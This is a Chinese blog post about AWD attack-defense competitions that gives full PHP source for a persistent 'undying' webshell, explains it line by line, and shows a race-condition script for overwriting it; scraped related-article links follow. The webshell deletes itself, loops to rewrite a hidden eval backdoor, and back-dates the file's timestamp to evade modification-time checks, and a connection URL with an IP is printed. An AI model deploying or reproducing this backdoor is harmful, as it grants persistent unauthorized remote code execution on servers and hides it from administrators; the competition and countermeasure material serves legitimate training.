一个简单的不死马如:

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.3.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
//pass=pass
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .3.php');
usleep(5000);
}
?>

在AWD比赛中,不死马对于维持权限十分有效。将该php文件上传到服务器,然后进行访问,会在该路径下循环生成名字为 .3.php 的不死马隐藏文件,菜刀链接:

http://49.235.230.115:18894/.3.php?pass=pass

简单解释一下PHP不死马代码:

ignore_user_abort(true);

设置与客户机断开是否会终止脚本的执行,这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。

set_time_limit(0);

设置脚本最大执行时间,这里设置为0,即没有时间方面的限制

unlink(__FILE__);

删除文件本身,以起到隐蔽自身的作用

    while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .3.php');
usleep(5000);
}

while循环中每隔usleep(5000)即写新的后门文件,system命令用于修改文件的创建时间或修改时间,因为在AWD比赛中有的队伍使用

find *.php -mmin -10

检查十分钟内被修改过的php文件,所以我们修改文件日期稍微进行掩饰。

最后校验是为了防止自家木马被其他人利用 (乌鸦坐飞机

<?php
if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){
@eval($_POST[a]);
}
?>

  

对于不死马,直接删除脚本是没有用的,因为php执行的时候已经把脚本读进去解释成opcode运行了,关于opcode有:

https://www.laruence.com/2008/06/18/221.html

个人感觉是内存或者缓冲一类的东西趴。

这里使用条件竞争写入同名文件进行克制不死马。

可以看到现在的 .3.php 文件内容仍为:

我们上传一个写 .3.php 的php文件,注意usleep需要比不死马小,$code修改为无害内容

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.3.php';
$code = 'hi springbird !';
//pass=pass
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .3.php');
// usleep(5000);
usleep(1000);
}
?>

注意红框

上传至服务器并访问

再次查看 .3.php 文件内容

可以看到内容已无害

参考链接:

https://www.jianshu.com/p/3cd8cc491b54

https://www.laruence.com/2008/06/18/221.html

http://123.207.99.2/2019/08/28/php%E4%B8%8D%E6%AD%BB%E9%A9%AC%E6%B5%85%E6%9E%90/

AWD不死马与克制方法的更多相关文章

  1. pin导致路由器死掉的解决方法

    首先检测网卡: ifconfig -a 然后模拟端口: airmon-ng start wlan0 接下来用: airodump-ng mon0 扫描ap找到你pin死的路由器mac 用mdk3 做身 ...

  2. wordpress网站被挂马以及防御方法

    wordpress本身的安全性是非常的高的,一般不会被轻易的破解,被挂马,但是我们也不能够过度迷信wordpress的安全性,凡是连接上互联网的服务器和电脑,都存在被破解的风险性.所以我们在日常维护自 ...

  3. Android自动问题——黑屏、死机等解决方法

    今天用了下Android Studio,出现了一些问题,现在将启动过程中遇到的问题和解决方案列出来,方便大家参考. 安装过程不多说,网上一搜一大把. 那直接说问题吧: 1. 无法启动,报错:Faile ...

  4. Android启动问题——黑屏、死机等解决方法

    今天用了下Android Studio,出现了一些问题,现在将启动过程中遇到的问题和解决方案列出来,方便大家参考. 安装过程不多说,网上一搜一大把. 那直接说问题吧: 1. 无法启动,报错:Faile ...

  5. 关于单片机编程里面调用sprintf死机的解决方法及原因分析

    好久之前的做的笔记,这里贴出. char String[100];//直接用数组代替指针即可解决 下面代代码下载至单片机中,发现会出现单片机死机问题 #include "stdio.h&qu ...

  6. ubuntu20.04开机显示recovering journal死机的解决方法

    事发突然,在今天开机的时候无法进入登陆界面,一直卡在黑屏界面,屏幕上只显示几行代码,且任何按键都无法起作用 /dev/sdb2:recovering journal /dev/sdb2:Clearin ...

  7. c#解决窗体假死的一种方法

    public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void button1_C ...

  8. 防止dedecms注入文件挂马的解决方法

    1.目录权限我们不建议用户把栏目目录设置在根目录,原因是这样进行安全设置会十分的麻烦,在默认的情况下,安装完成后,目录设置如下:(1) data.templets.uploads.a或5.3的html ...

  9. 爱快在PVE下不定时反复重启死机的解决方法

    太长不看版本: 爱快3.6.X在PVE乃至于ESXI下都存在一定的兼容问题! 官网下载3.6.X安装后进入系统设置-升级备份-版本升级,使用爱快3.4.9bin升降级包,下载其中的bin升降级包,将爱 ...

随机推荐

  1. C++ 数据结构 3:树和二叉树

    1 树 1.1 定义 由一个或多个(n ≥ 0)结点组成的有限集合 T,有且仅有一个结点称为根(root),当 n > 1 时,其余的结点分为 m (m ≥ 0)个互不相交的有限集合T1,T2, ...

  2. VBA_Copy数据及数据格式_DoLoop删除空行

    Sub copyreport() Application.ScreenUpdating = False Application.Calculation = xlCalculationManual Ap ...

  3. 深度探秘.NET 5.0

    今年11月10号 .NET 5.0 如约而至.这是.NET All in one后的第一个版本,虽然不是LTS(Long term support)版本,但是是生产环境可用的. 有微软的背书,微软从. ...

  4. Docker + Jenkins + Gitlab + Pytest + Allure 接口自动化测试之持续集成实战终极教程

    实战教程篇 前言 这边就不教大家怎么用 pytest 写项目了哦,下面有系列文章能帮助你快速入门 Pytest + Allure 这一篇教程主要是教如何从 0 到 1 搭建自动化测试的持续集成环境 后 ...

  5. The Dos and Don'ts for Ceph for OpenStack

    Ceph和OpenStack是一个非常有用和非常受欢迎的组合. 不过,部署Ceph / OpenStack经常会有一些容易避免的缺点 - 我们将帮助你解决它们 使用 show_image_direct ...

  6. appium-appium的等待时间

    #三种appium设置等待时间的方法 #第一种 sleep(): 设置固定休眠时间. python 的 time 包提供了休眠方法 sleep() , 导入 time包后就可以使用 sleep()进行 ...

  7. Spring第二天,你必须知道容器注册组件的几种方式!学废它吊打面试官!

    ​ 前一篇<不要再说不会Spring了!Spring第一天,学会进大厂!>文章可点击下方链接进行回看. 不要再说不会Spring了!Spring第一天,学会进大厂! 今天将继续讲解Spri ...

  8. 前端web安全-CSRF基础入门

    前言 今天找了个新地方进行学习 嘿嘿  采光不错!特别适合看书呢. 前言 1.CSRF 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click att ...

  9. Vue3.0 响应式数据原理:ES6 Proxy

    Vue3.0 开始用 Proxy 代替 Object.defineProperty了,这篇文章结合实例教你如何使用Proxy 本篇文章同时收录[前端知识点]中,链接直达 阅读本文您将收获 JavaSc ...

  10. 使用pdfFactory隐藏文档中的隐私信息

    分享PDF文档时,文档中可能会存在一些隐私信息,比如用户名.用户的邮件地址.电话号码等信息.为了更好地保护原有文档内容的完整性,大家可以在生成PDF时,使用pdfFactory的隐藏信息功能,删除或遮 ...